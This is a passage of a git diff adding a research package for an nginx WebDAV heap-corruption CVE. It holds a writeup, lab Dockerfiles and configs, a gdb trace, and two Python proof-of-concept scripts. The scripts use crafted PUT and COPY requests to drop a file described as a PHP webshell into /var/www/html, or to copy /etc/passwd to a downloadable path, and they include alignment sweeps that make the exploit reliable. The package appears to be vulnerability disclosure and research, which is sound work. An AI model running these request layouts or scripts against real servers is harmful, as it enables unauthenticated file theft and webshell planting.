**malloc** | +| kernel `lstat()` | same string | 4045 < `PATH_MAX` (4096) | resolves to the same inode as `/p.php` | + +So the malloc-isolation trick fires, and `lstat()` finds an ordinary short-named file under the alias root. No deep tree. + +``` +PUT /dav/p.php HTTP/1.1 <-- normal short PUT +Host: 127.0.0.1:9080 +Content-Length: 29 + + + +COPY /dav//////...4000 slashes...///p.php HTTP/1.1 +Host: 127.0.0.1:9080 +X-A: <-- alignment shim (see §6.4) +X-Pad: /var/www/html/x.php +Destination: /da +``` + +What this drops: `create_full_put_path`, the deep directory tree, `dav_methods MKCOL DELETE MOVE`. What this adds: `merge_slashes off`, which is non-default but appears in configs that route on path-encoded data (some REST APIs, git HTTP backends, anything that needs `//` to mean an empty path component). The PUT itself can be any mechanism that lands one short-named file under the alias root; `dav_methods PUT` is just the most direct. + +To run the variant: + +``` +$ docker run --rm cve-2026-27654-poc1 \ + python3 poc_slashes.py \ + --nginx-bin /usr/local/nginx/sbin/nginx \ + --nginx-conf /home/ubuntu/nginx-merge-slashes-off.conf +[*] PUT /dav/p.php (10-char URI, normal short path) + HTTP/1.1 201 Created + +[*] COPY URI: /dav/ + 4000 slashes + p.php (4010 chars) + source path size = 39 + 4010 - 5 + 1 = 4045 + > pool->max (4016)? True -> source path goes to malloc + < PATH_MAX (4096)? True -> kernel accepts it + kernel resolves to: /home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa/p.php (same inode) + + pad= 0 HTTP/1.1 204 No Content written=True + +worker_exited: True +target_exists: yes +target_mode: 0o644 +target_match: True +``` + +--- + +## 6. PoC 2: The Read Path + +A single unauthenticated COPY request against a WebDAV location with `alias` + `dav_methods COPY`. No PUT, no file under the alias root, no other configuration. The request copies `/etc/passwd` to a path the attacker can fetch over HTTP. + +### 6.1 Configuration requirements + +| Constraint | Detail | +|---|---| +| `dav_methods COPY` | The only DAV method needed. PUT, DELETE, MKCOL not required. | +| Alias root length | Same formula as PoC-1. The PoC uses the same 39-char alias root with `/dav/` (5), giving 19 controlled dest-path chars. | +| Pivot directory | The first `L - 27` bytes of the alias root (where `L` is the source-path size) must form a real directory the kernel can walk through. With `root.len = 39`, `uri.len = 15`: `L = 50`, surviving = 23, so `/tmp/lab/aaaaaaaaaaaaaa` must exist. The full alias root need not. | + +### 6.2 Memory layout + +The request URI is short: `/dav/xxxxxxxxxx` (15 chars). The source-path mapping computes: + +``` +source_path size = 39 + 15 - 5 + 1 = 50 bytes <= 4016 +``` + +So `ngx_pnalloc` returns 50 bytes from the request pool's bump allocator. The destination-path mapping returns the next 38. They are byte-adjacent: `dest_path = source_path + 50`. + +``` + request pool + ┌─────────┬──────────────────────────────┬─────────────────────┬───────┐ + │ prior │ source_path (50 B) │ dest_path (38 B) │ free │ + │ data │ /tmp/lab/aaa.../xxxxxxxxxx\0 │ │ 659 B │ + └─────────┴──────────────────────────────┴─────────────────────┴───────┘ + [0..........22][23.........49] [0..2] + survives ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑ + tail store: dest[-27..36] = HERE +``` + +`dest_path[-27]` *is* `source_path[23]`. The corruption rewrites `source_path[23..49]` (27 bytes) and `dest_path[0..36]` in one shot. The forward stores land in pool free space. There is no `ngx_pool_large_t` to corrupt; nothing in this request was big enough to need one. + +> **The slash-padding trick from §5.6 does not help here.** With `merge_slashes off`, nginx keeps `//` but still normalizes `..`, and each `..` cancels one prior component including the empty ones between slashes. The `..`s spend themselves on the slash padding and never reach the kernel. The header overflow is the only escape route. + +### 6.3 What memcpy does + +Same call as PoC-1: `memcpy(dest_path + 39, duri.data + 5, 0xfffffffffffffffe)`. The bounded tail covers `dest_path[-27..36]`, sourced from `duri[-61..2]`. With the source path adjacent, that range maps onto two buffers: + +``` +source_path[23..49] <- duri[-61..-35] (Src value, its CR, and the start of the Pad line) +dest_path[0..36] <- duri[-34..2] (the Pad header value, "Destination", "/da") +``` + +The PoC sends: + +``` +COPY /dav/xxxxxxxxxx HTTP/1.1 +Host: 127.0.0.1:9080 +Src: /../../../etc/passwd <-- last 20 bytes -> source_path[23..42] +Pad: /tmp/lab/www/leaked <-- exactly 19 bytes -> dest_path[0..18] +Destination: /da +``` + +The header keys `Src` and `Pad` are 3 characters each. Their lengths matter: the source-path NUL terminator is the `\r` after the Src value, parser-zeroed, and its distance from `duri.data` is `15 + len(Pad value) + 2 (NUL'd : + space) + len(Pad key) + 2 (CR-NUL + LF)` = `15 + 19 + 2 + 3 + 2 = 41` bytes. With a 5-character key like `X-Pad`, the NUL would land 2 bytes farther back, at `duri[-43]`, which maps to `source_path[41]` instead of `[43]`, leaving only 18 bytes for the traversal. `/../../../etc/passwd` needs 20. The dest-path constraint and the source-path constraint trade off through the Pad key length; we tune it to keep both constraints where we need them. + +After the overflow: + +``` +source_path = "/tmp/lab/aaaaaaaaaaaaaa" + "/../../../etc/passwd" + "\0" + junk + └─── surviving 23 B ─────┘ └──── from Src tail ────┘ └─ Src's CR (parser-zeroed) + +dest_path = "/tmp/lab/www/leaked" + "\0" + "\nDestination\0 /da" + junk + └─── from Pad ───────┘ └─ Pad's CR (parser-zeroed) +``` + +The kernel resolves `..` at the syscall layer. nginx's URI normalization runs before location matching and never sees the traversal because the traversal does not exist in any URI; it exists only in heap memory after the overflow. + +### 6.4 Why the worker survives + +Every byte the bug writes lands in either `source_path[23..49]` (the rewritten traversal), `dest_path[0..36]` (the rewritten target), or pool free space past `dest_path` that the next allocation will overwrite anyway. There is no `malloc()` metadata in the blast radius and no `ngx_pool_large_t` in the pool data area. The pool is freed cleanly and the worker re-enters keepalive. + +The condition is the alignment fixup wrap: `(duri.data + alias) & 0xf >= 2`. The header buffer is `ngx_memalign`-allocated (16-byte aligned), so the residue depends only on the byte offset of `Destination` within the request, not on ASLR. In this PoC's request layout the residue is 12. On the two residues 0 and 1 the wrap fails, the main loop runs, and the worker SIGSEGVs reading off the end of the header buffer's page before any file is touched. An attacker with a lab copy of the target binary precomputes a working pad; a blind attacker has roughly a 12% chance per attempt of producing a noisy crash. The padding sweep in `poc_src.py` (front-padding the Src value to walk the residue through every value) handles the blind case. + +### 6.5 Forensics + +The nginx debug log records the source path at [`dav_module.c:697`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L697), *before* the destination-path mapping at L703 corrupts it. The log shows a copy from a file that does not exist; `open()` reads `/etc/passwd`; nothing in any nginx log mentions `/etc/passwd`. + +This is a read primitive: the attacker chooses which file to read and where to put the copy, but the content is whatever is already on disk. + +### 6.6 Reproducing it + +``` +$ docker build -t cve-2026-27654-poc2 poc-2/ +$ docker run --rm cve-2026-27654-poc2 +[*] root.len=39 alias=5 src_uri_len=15 +[*] L = 50, path.len = 38, reach = 27, surviving = 23 +[*] pivot dir = /tmp/lab/aaaaaaaaaaaaaa +[*] reading = /etc/passwd +[*] writing to = /tmp/lab/www/leaked + + pad= 0 HTTP/1.1 204 No Content written=True + +[*] GET /files/leaked + HTTP/1.1 200 OK + +download_size: 878 +matches /etc/passwd: True + +--- downloaded body, first 3 lines --- + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin +``` + +`poc-2/` contains: + +- `Dockerfile`: builds nginx 1.29.5 with `--with-http_dav_module` on Debian 12 aarch64, creates the pivot directory, runs `poc_src.py` as the container CMD. +- `nginx.conf`: the entire vulnerable surface for the read primitive (`alias` + `dav_methods COPY`, nothing else). +- `poc_src.py`: sends the COPY, downloads the result over HTTP, compares against `/etc/passwd`. +- `trace1.gdb`: breakpoint script that stops after source-map, after dest-map, and at `ngx_copy_file` entry, dumping the path buffers and the `duri[-64..+3]` window. +- `gdb_trace.txt`: annotated dump of one run, with the byte-mapping formulas connecting each header byte to its landing offset. + +To step through the corruption manually: + +``` +$ docker run --rm -it --cap-add=SYS_PTRACE cve-2026-27654-poc2 bash +# gdb -x trace1.gdb --args /usr/local/nginx/sbin/nginx -p /tmp/lab/ -c /tmp/lab/nginx.conf +``` + +Then from a second shell inside the container: + +``` +# python3 /tmp/lab/poc_src.py --nginx-bin /bin/true --nginx-conf /dev/null +``` + +--- + +## References + +- [CVE-2026-27654 record](https://www.cve.org/CVERecord?id=CVE-2026-27654) +- [nginx fix commit `9739e75`](https://github.com/nginx/nginx/commit/9739e755b8dd) +- [nginx CHANGES entry for 1.29.7](https://nginx.org/en/CHANGES) +- [F5 vendor advisory K000160382](https://my.f5.com/manage/s/article/K000160382) \ No newline at end of file diff --git a/MADBugs/nginx-CVE-2026-27654/poc-1/Dockerfile b/MADBugs/nginx-CVE-2026-27654/poc-1/Dockerfile new file mode 100644 index 0000000..ddbc2b6 --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/poc-1/Dockerfile @@ -0,0 +1,34 @@ +# CVE-2026-27654 PoC-1: write primitive. Tested on aarch64. +FROM --platform=linux/arm64 ubuntu:24.04 + +RUN apt-get update && apt-get install -y --no-install-recommends \ + build-essential libpcre2-dev zlib1g-dev wget ca-certificates python3 \ + && rm -rf /var/lib/apt/lists/* + +# Build nginx 1.29.5 with DAV module +RUN wget -q https://nginx.org/download/nginx-1.29.5.tar.gz \ + && tar xzf nginx-1.29.5.tar.gz \ + && cd nginx-1.29.5 \ + && ./configure --with-http_dav_module --without-http_rewrite_module \ + && make -j"$(nproc)" \ + && make install \ + && cd / && rm -rf nginx-1.29.5 nginx-1.29.5.tar.gz + +# WebDAV alias root (39 chars: /home/ubuntu/ + 25 a's + /) +# Target webroot, writable by the worker (PoC runs nginx as root with +# master_process off, so this is automatically writable; on a real +# deployment /var/www/html would need to be chowned to www-data). +RUN mkdir -p /home/ubuntu/nginx-lab/client_body_temp \ + /home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa \ + /var/www/html + +COPY nginx.conf /home/ubuntu/nginx.conf +COPY nginx-merge-slashes-off.conf /home/ubuntu/nginx-merge-slashes-off.conf +COPY poc.py /home/ubuntu/poc.py +COPY poc_slashes.py /home/ubuntu/poc_slashes.py + +WORKDIR /home/ubuntu + +CMD ["python3", "poc.py", \ + "--nginx-bin", "/usr/local/nginx/sbin/nginx", \ + "--nginx-conf", "/home/ubuntu/nginx.conf"] diff --git a/MADBugs/nginx-CVE-2026-27654/poc-1/nginx-merge-slashes-off.conf b/MADBugs/nginx-CVE-2026-27654/poc-1/nginx-merge-slashes-off.conf new file mode 100644 index 0000000..cfd3758 --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/poc-1/nginx-merge-slashes-off.conf @@ -0,0 +1,30 @@ +worker_processes 1; +daemon off; +master_process off; +error_log /home/ubuntu/nginx-lab/error.log debug; +pid /home/ubuntu/nginx-lab/nginx.pid; + +events {} + +http { + access_log /home/ubuntu/nginx-lab/access.log; + client_body_temp_path /home/ubuntu/nginx-lab/client_body_temp; + + # Slash-padding variant: nginx no longer collapses // in URIs, so a + # URI like /dav/////...///p.php has r->uri.len ~4000 even though the + # kernel resolves it to the same file as /dav/p.php. + merge_slashes off; + + server { + listen 9080; + server_name localhost; + + # Same alias root as poc.py (39 chars). The PUT path is short so + # create_full_put_path is no longer needed. + location /dav/ { + alias /home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa/; + dav_methods PUT COPY; + dav_access user:rw group:rw all:r; + } + } +} diff --git a/MADBugs/nginx-CVE-2026-27654/poc-1/nginx.conf b/MADBugs/nginx-CVE-2026-27654/poc-1/nginx.conf new file mode 100644 index 0000000..6d8ffee --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/poc-1/nginx.conf @@ -0,0 +1,27 @@ +worker_processes 1; +daemon off; +master_process off; +error_log /home/ubuntu/nginx-lab/error.log debug; +pid /home/ubuntu/nginx-lab/nginx.pid; + +events {} + +http { + access_log /home/ubuntu/nginx-lab/access.log; + client_body_temp_path /home/ubuntu/nginx-lab/client_body_temp; + + server { + listen 9080; + server_name localhost; + + # alias root must be >= 39 chars for a 19-char target path: + # controlled = root.len - alias - 15 = 39 - 5 - 15 = 19 + # /home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa/ = 13 + 25 + 1 = 39 + location /dav/ { + alias /home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa/; + dav_methods PUT COPY; + create_full_put_path on; + dav_access user:rw group:rw all:r; + } + } +} diff --git a/MADBugs/nginx-CVE-2026-27654/poc-1/poc.py b/MADBugs/nginx-CVE-2026-27654/poc-1/poc.py new file mode 100755 index 0000000..9899bfa --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/poc-1/poc.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python3 +""" +CVE-2026-27654 PoC-1: write primitive (PUT + COPY). + +Two unauthenticated requests against a WebDAV location with +`alias` + `dav_methods PUT COPY` + `create_full_put_path on`: + + 1. PUT a PHP webshell into a deeply nested path under the alias root. + The deep path (~4030 chars) makes the source-path buffer larger than + r->pool->max (4016 bytes), so it's allocated via malloc(), separate + from the request pool. + + 2. COPY with a short Destination header. The underflow in + ngx_http_map_uri_to_path triggers memcpy(dst, src, ~SIZE_MAX). + On aarch64 the bounded path overwrites dest_path[0..18] with the + last 19 bytes of the X-Pad header value. The source path is intact + in its malloc block, so lstat() succeeds and the COPY proceeds. + +The destination path escapes the alias root entirely: nginx writes the +PUT'd content to /var/www/html/x.php. PHP-FPM doesn't check +x; mode +0644 is sufficient. The worker crashes after returning HTTP 204 (the +ngx_pool_large_t tracker that pointed at the source path's malloc block +sits 16 bytes before dest_path and gets overwritten by the same memcpy). +""" +import argparse +import hashlib +import shutil +import socket +import subprocess +import time +from pathlib import Path + + +HOST = "127.0.0.1" +PORT = 9080 + +# --- Layout parameters --------------------------------------------------- +# alias /home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa/ (39 chars) +# location /dav/ (5 chars) +# Destination: /da (3 chars, deficit = 2) +ROOT_LEN = 39 +ALIAS_LEN = 5 +CONTROLLED = ROOT_LEN - ALIAS_LEN - 15 # = 19 + +TARGET = "/var/www/html/x.php" +assert len(TARGET) == CONTROLLED, f"target must be exactly {CONTROLLED} chars" + +PAYLOAD = b"\n" + + +def send(raw: bytes, timeout: float = 1.0) -> bytes: + resp = b"" + with socket.create_connection((HOST, PORT), timeout=5) as sock: + sock.settimeout(timeout) + sock.sendall(raw) + while True: + try: + chunk = sock.recv(4096) + except (socket.timeout, ConnectionResetError): + break + if not chunk: + break + resp += chunk + return resp + + +def mk_request(method: str, path: str, headers: dict[str, str], body: bytes = b"") -> bytes: + lines = [f"{method} {path} HTTP/1.1", f"Host: {HOST}:{PORT}"] + for key, value in headers.items(): + lines.append(f"{key}: {value}") + if body: + lines.append(f"Content-Length: {len(body)}") + lines.append("") + lines.append("") + return "\r\n".join(lines).encode() + body + + +def status_line(resp: bytes) -> str: + if not resp: + return "" + return resp.split(b"\r\n", 1)[0].decode("latin1", "replace") + + +def reset_lab(lab_dir: Path, upload_root: Path) -> None: + shutil.rmtree(lab_dir, ignore_errors=True) + shutil.rmtree(upload_root, ignore_errors=True) + lab_dir.mkdir(parents=True, exist_ok=True) + (lab_dir / "client_body_temp").mkdir(parents=True, exist_ok=True) + upload_root.mkdir(parents=True, exist_ok=True) + for path in (lab_dir / "error.log", lab_dir / "access.log"): + path.write_text("") + + +def start_nginx(nginx_bin: Path, conf: Path) -> subprocess.Popen[bytes]: + proc = subprocess.Popen( + [str(nginx_bin), "-p", "/home/ubuntu/", "-c", str(conf)], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + for _ in range(50): + try: + with socket.create_connection((HOST, PORT), timeout=0.1): + return proc + except OSError: + if proc.poll() is not None: + out, err = proc.communicate(timeout=1) + raise RuntimeError(f"nginx exited early: {out!r} {err!r}") + time.sleep(0.1) + raise RuntimeError("nginx did not start listening") + + +def stop_nginx(proc: subprocess.Popen[bytes]) -> None: + if proc.poll() is None: + proc.terminate() + try: + proc.wait(timeout=2) + except subprocess.TimeoutExpired: + proc.kill() + proc.wait(timeout=2) + + +def deep_src(prefix: str) -> str: + """Build a request URI long enough to push the source-path allocation + past r->pool->max (4016 bytes on a default 4096-byte request pool). + + source_path size = root.len + uri.len - alias + 1 + = 39 + uri.len - 5 + 1 > 4016 + => uri.len > 3981 + + Twenty 200-char segments give 5 + 20*200 + 19 + 6 = 4030. + """ + dirs = [f"d{i:02d}_" + ("x" * 196) for i in range(20)] + return prefix + "/".join(dirs) + "/p.php" + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument("--nginx-bin", required=True) + parser.add_argument("--nginx-conf", required=True) + parser.add_argument("--lab-dir", default="/home/ubuntu/nginx-lab") + parser.add_argument("--upload-root", default="/home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa") + parser.add_argument("--prefix", default="/dav/") + args = parser.parse_args() + + nginx_bin = Path(args.nginx_bin) + conf = Path(args.nginx_conf) + lab_dir = Path(args.lab_dir) + upload_root = Path(args.upload_root) + target = Path(TARGET) + + print(f"[*] root.len={ROOT_LEN} alias={ALIAS_LEN} controlled={CONTROLLED}") + print(f"[*] target = {TARGET} ({len(TARGET)} chars)") + print() + + if target.exists(): + target.unlink() + + reset_lab(lab_dir, upload_root) + proc = start_nginx(nginx_bin, conf) + try: + src = deep_src(args.prefix) + src_path_size = ROOT_LEN + len(src) - ALIAS_LEN + 1 + print(f"[*] URI length = {len(src)}, source path size = {src_path_size} bytes (>4016: {src_path_size > 4016})") + print() + + # --- Request 1: PUT the webshell under the alias root --- + put_resp = send(mk_request("PUT", src, {}, PAYLOAD), timeout=0.5) + print("PUT: ", status_line(put_resp)) + + # --- Request 2: COPY with the underflowed Destination --- + # X-Pad value becomes dest_path[0..18]; must be exactly CONTROLLED + # chars (or longer with front-padding; only the last CONTROLLED + # chars matter). + trigger = mk_request( + "COPY", + src, + {"X-Pad": TARGET, "Destination": "/da"}, + ) + trigger_resp = send(trigger, timeout=1.0) + print("COPY:", status_line(trigger_resp)) + + time.sleep(0.5) + print() + print("worker_exited:", proc.poll() is not None) + if target.exists(): + data = target.read_bytes() + mode = oct(target.stat().st_mode & 0o777) + print("target_exists: yes") + print("target_mode: ", mode) + print("target_size: ", len(data)) + print("target_sha256:", hashlib.sha256(data).hexdigest()) + print("target_match: ", data == PAYLOAD) + print() + print("--- target content ---") + print(data.decode("latin1", "replace"), end="") + else: + print("target_exists: no") + print() + print("--- error.log tail ---") + print((lab_dir / "error.log").read_text(errors="replace")[-2000:]) + finally: + stop_nginx(proc) + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/MADBugs/nginx-CVE-2026-27654/poc-1/poc_slashes.py b/MADBugs/nginx-CVE-2026-27654/poc-1/poc_slashes.py new file mode 100644 index 0000000..68ecd0b --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/poc-1/poc_slashes.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +""" +CVE-2026-27654 PoC-1 variant: slash-padding with merge_slashes off. + +Same write primitive as poc.py, but the source-path isolation is achieved +by stuffing the COPY URI with slashes instead of by PUTting into a deep +directory tree. + +Requires: `merge_slashes off` in the http{} block (non-default). + +Why it works: + - With merge_slashes off, nginx does not collapse // in r->uri. + /dav/////...///p.php (4000 extra slashes) gives r->uri.len ~ 4010. + - source_path = root.len + r->uri.len - alias + 1 ~= 4043 > 4016 + -> ngx_palloc_large -> malloc -> isolated from the corruption. + - The kernel DOES collapse multiple slashes (POSIX), so lstat() on + /home/ubuntu/aaa...//////...///p.php finds the same inode as + /home/ubuntu/aaa.../p.php. The file just has to exist at the short + path, not the long one. + - PATH_MAX is 4096; source_path ~= 4043 is fine. + +What this drops vs poc.py: + - No create_full_put_path needed (PUT path is short). + - No deep directory tree (no 200-char folder names). + - dav_methods can be just PUT COPY (DELETE/MKCOL/MOVE not needed). + +What this adds: + - merge_slashes off is non-default. It's used in configs that route + based on path-encoded data (some REST APIs, git http backends), but + a stock nginx.conf doesn't have it. +""" +import argparse +import hashlib +import shutil +import socket +import subprocess +import time +from pathlib import Path + + +HOST = "127.0.0.1" +PORT = 9080 + +ROOT_LEN = 39 +ALIAS_LEN = 5 +CONTROLLED = ROOT_LEN - ALIAS_LEN - 15 # = 19 + +TARGET = "/var/www/html/x.php" +assert len(TARGET) == CONTROLLED + +PAYLOAD = b"\n" + +# How many extra slashes to inject into the COPY URI. +# Need root.len + uri.len - alias + 1 > 4016, i.e. uri.len > 3981. +# With /dav/ (5) + slashes + /p.php (6) = 11 + slashes, we need slashes > 3970. +# Stay under PATH_MAX (4096) on the resulting source_path: keep slashes <= 4050. +SLASH_COUNT = 4000 + + +def send(raw: bytes, timeout: float = 1.0) -> bytes: + resp = b"" + with socket.create_connection((HOST, PORT), timeout=5) as sock: + sock.settimeout(timeout) + sock.sendall(raw) + while True: + try: + chunk = sock.recv(4096) + except (socket.timeout, ConnectionResetError): + break + if not chunk: + break + resp += chunk + return resp + + +def status_line(resp: bytes) -> str: + if not resp: + return "" + return resp.split(b"\r\n", 1)[0].decode("latin1", "replace") + + +def reset_lab(lab_dir: Path, upload_root: Path) -> None: + shutil.rmtree(lab_dir, ignore_errors=True) + shutil.rmtree(upload_root, ignore_errors=True) + lab_dir.mkdir(parents=True, exist_ok=True) + (lab_dir / "client_body_temp").mkdir(parents=True, exist_ok=True) + upload_root.mkdir(parents=True, exist_ok=True) + for p in (lab_dir / "error.log", lab_dir / "access.log"): + p.write_text("") + + +def start_nginx(nginx_bin: Path, conf: Path) -> subprocess.Popen[bytes]: + proc = subprocess.Popen( + [str(nginx_bin), "-p", "/home/ubuntu/", "-c", str(conf)], + stdout=subprocess.PIPE, stderr=subprocess.PIPE, + ) + for _ in range(50): + try: + with socket.create_connection((HOST, PORT), timeout=0.1): + return proc + except OSError: + if proc.poll() is not None: + _, err = proc.communicate(timeout=1) + raise RuntimeError(f"nginx exited early: {err!r}") + time.sleep(0.1) + raise RuntimeError("nginx did not start listening") + + +def stop_nginx(proc: subprocess.Popen[bytes]) -> None: + if proc.poll() is None: + proc.terminate() + try: + proc.wait(timeout=2) + except subprocess.TimeoutExpired: + proc.kill() + proc.wait(timeout=2) + + +def main() -> int: + ap = argparse.ArgumentParser() + ap.add_argument("--nginx-bin", required=True) + ap.add_argument("--nginx-conf", required=True, + help="Must have `merge_slashes off` in the http{} block") + ap.add_argument("--lab-dir", default="/home/ubuntu/nginx-lab") + ap.add_argument("--upload-root", default="/home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa") + args = ap.parse_args() + + target = Path(TARGET) + if target.exists(): + target.unlink() + + reset_lab(Path(args.lab_dir), Path(args.upload_root)) + proc = start_nginx(Path(args.nginx_bin), Path(args.nginx_conf)) + try: + # --- Request 1: PUT to a SHORT path under the alias root --- + # No deep directory tree, no create_full_put_path needed. + short_uri = "/dav/p.php" + put = ( + f"PUT {short_uri} HTTP/1.1\r\n" + f"Host: {HOST}:{PORT}\r\n" + f"Content-Length: {len(PAYLOAD)}\r\n" + f"\r\n" + ).encode() + PAYLOAD + print(f"[*] PUT {short_uri} ({len(short_uri)}-char URI, normal short path)") + print(" ", status_line(send(put, timeout=0.5))) + print() + + # --- Request 2: COPY with a slash-padded URI --- + # nginx (merge_slashes off) sees a ~4010-char URI; the kernel sees + # the same file as /dav/p.php. + long_uri = "/dav/" + ("/" * SLASH_COUNT) + "p.php" + src_size = ROOT_LEN + len(long_uri) - ALIAS_LEN + 1 + print(f"[*] COPY URI: /dav/ + {SLASH_COUNT} slashes + p.php ({len(long_uri)} chars)") + print(f" source path size = {ROOT_LEN} + {len(long_uri)} - {ALIAS_LEN} + 1 = {src_size}") + print(f" > pool->max (4016)? {src_size > 4016} -> source path goes to malloc") + print(f" < PATH_MAX (4096)? {src_size < 4096} -> kernel accepts it") + print(f" kernel resolves to: {args.upload_root}/p.php (same inode)") + print() + + # Sweep a small alignment-shifting header. The bounded memcpy path + # needs (duri.data + alias) & 0xf >= 2; the residue depends on the + # request layout. With a 7-byte dummy header before X-Pad, pad=0 + # lands at residue 7 in the docker layout. The sweep handles other + # builds. (Same trick as poc-2's poc_src.py.) + for pad in range(16): + if target.exists(): + target.unlink() + if proc.poll() is not None: + proc = start_nginx(Path(args.nginx_bin), Path(args.nginx_conf)) + copy = ( + f"COPY {long_uri} HTTP/1.1\r\n" + f"Host: {HOST}:{PORT}\r\n" + f"X-A: {'Z' * pad}\r\n" + f"X-Pad: {TARGET}\r\n" + f"Destination: /da\r\n" + f"\r\n" + ).encode() + r = send(copy, timeout=1.0) + ok = target.exists() + print(f" pad={pad:2d} {status_line(r):28s} written={ok}") + if ok: + break + print() + + time.sleep(0.5) + print("worker_exited:", proc.poll() is not None) + if target.exists(): + data = target.read_bytes() + mode = oct(target.stat().st_mode & 0o777) + print("target_exists: yes") + print("target_mode: ", mode) + print("target_size: ", len(data)) + print("target_sha256:", hashlib.sha256(data).hexdigest()) + print("target_match: ", data == PAYLOAD) + print() + print("--- target content ---") + print(data.decode("latin1", "replace"), end="") + else: + print("target_exists: no") + print() + print("--- error.log tail ---") + print((Path(args.lab_dir) / "error.log").read_text(errors="replace")[-2000:]) + return 1 + finally: + stop_nginx(proc) + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/MADBugs/nginx-CVE-2026-27654/poc-2/Dockerfile b/MADBugs/nginx-CVE-2026-27654/poc-2/Dockerfile new file mode 100644 index 0000000..6f28522 --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/poc-2/Dockerfile @@ -0,0 +1,32 @@ +# CVE-2026-27654 source-path corruption PoC. +# Single COPY request, no PUT, copies /etc/passwd to /tmp/passwd.proof. +# Tested on aarch64. +FROM --platform=linux/arm64 debian:12 + +RUN apt-get update && apt-get install -y --no-install-recommends \ + build-essential libpcre2-dev zlib1g-dev wget ca-certificates python3 \ + gdb ncat curl procps less \ + && rm -rf /var/lib/apt/lists/* + +RUN wget -q https://nginx.org/download/nginx-1.29.5.tar.gz \ + && tar xzf nginx-1.29.5.tar.gz \ + && cd nginx-1.29.5 \ + && ./configure --with-http_dav_module --without-http_rewrite_module \ + && make -j"$(nproc)" \ + && make install \ + && cd / && rm -rf nginx-1.29.5 nginx-1.29.5.tar.gz + +# Pivot dir: the surviving source-path prefix (first 23 bytes of the +# alias root), which the kernel must be able to walk through to resolve +# `..`. The full alias root (/tmp/lab/aaa.../, 39 chars) need not exist. +RUN mkdir -p /tmp/lab/logs /tmp/lab/temp /tmp/lab/www /tmp/lab/aaaaaaaaaaaaaa + +COPY nginx.conf /tmp/lab/nginx.conf +COPY poc_src.py /tmp/lab/poc_src.py +COPY trace1.gdb /tmp/lab/trace1.gdb + +WORKDIR /tmp/lab + +CMD ["python3", "poc_src.py", \ + "--nginx-bin", "/usr/local/nginx/sbin/nginx", \ + "--nginx-conf", "/tmp/lab/nginx.conf"] diff --git a/MADBugs/nginx-CVE-2026-27654/poc-2/gdb_trace.txt b/MADBugs/nginx-CVE-2026-27654/poc-2/gdb_trace.txt new file mode 100644 index 0000000..3bbd8a8 --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/poc-2/gdb_trace.txt @@ -0,0 +1,115 @@ +CVE-2026-27654 source-path corruption -- gdb trace +================================================== + +Environment: aarch64, Debian 12, glibc 2.36, nginx 1.29.5 (-g -O0) + +Request (single COPY, no PUT): + + COPY /dav/xxxxxxxxxx HTTP/1.1\r\n + Host: 127.0.0.1:9080\r\n + Src: /../../../etc/passwd\r\n + Pad: /tmp/lab/www/leaked\r\n + Destination: /da\r\n + \r\n + +Header names "Src" and "Pad" are arbitrary; nginx parses and ignores them. +Their KEY lengths (3 chars each) are tuned so the parser's NUL terminators +land at the right offsets relative to duri.data (see byte-mapping below). + +Breakpoints +----------- + +=== AFTER SOURCE MAP (L697, before corruption) === +path.data = 0xaaaaf5847545 +path.len = 50 +path str = "/tmp/lab/aaaaaaaaaaaaaaaaaaaaaaaaaaaaa/xxxxxxxxxx" +r->pool->d.last = 0xaaaaf5847577 <-- next pnalloc returns this + +=== AFTER DEST MAP (L707, post-overflow) === +copy.path.data = 0xaaaaf5847577 +copy.path.len = 38 +gap (dest - src) = 50 <-- == src_len, so contiguous + +--- source path bytes [0..49] AFTER overflow --- +0xaaaaf5847545: 2f 74 6d 70 2f 6c 61 62 /tmp/lab +0xaaaaf584754d: 2f 61 61 61 61 61 61 61 /aaaaaaa +0xaaaaf5847555: 61 61 61 61 61 61 61 2f aaaaaaa/ +0xaaaaf584755d: 2e 2e 2f 2e 2e 2f 2e 2e ../../.. +0xaaaaf5847565: 2f 65 74 63 2f 70 61 73 /etc/pas +0xaaaaf584756d: 73 77 64 00 0a 50 61 64 swd\0\nPad (junk past NUL) +0xaaaaf5847575: 00 20 \0 + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + bytes [23..49] overwritten by bounded memcpy tail + +--- source path as C string AFTER overflow --- +"/tmp/lab/aaaaaaaaaaaaaa/../../../etc/passwd" + ^^^^^^^^^^^^^^^^^^^^^^^ 23 surviving bytes (= L - 27) + ^^^^^^^^^^^^^^^^^^^^ from Src value (duri[-61..-42]) + ^ NUL from Src's CR (duri[-41]) + +--- dest path bytes [0..37] --- +0xaaaaf5847577: 2f 74 6d 70 2f 6c 61 62 /tmp/lab +0xaaaaf584757f: 2f 77 77 77 2f 6c 65 61 /www/lea +0xaaaaf5847587: 6b 65 64 00 0a 44 65 73 ked\0\nDes +0xaaaaf584758f: 74 69 6e 61 74 69 6f 6e tination +0xaaaaf5847597: 00 20 2f 64 61 00 \0/da\0 + +--- dest path as C string --- +"/tmp/lab/www/leaked" + ^^^^^^^^^^^^^^^^^^^ 19 bytes from Pad value + ^ NUL from 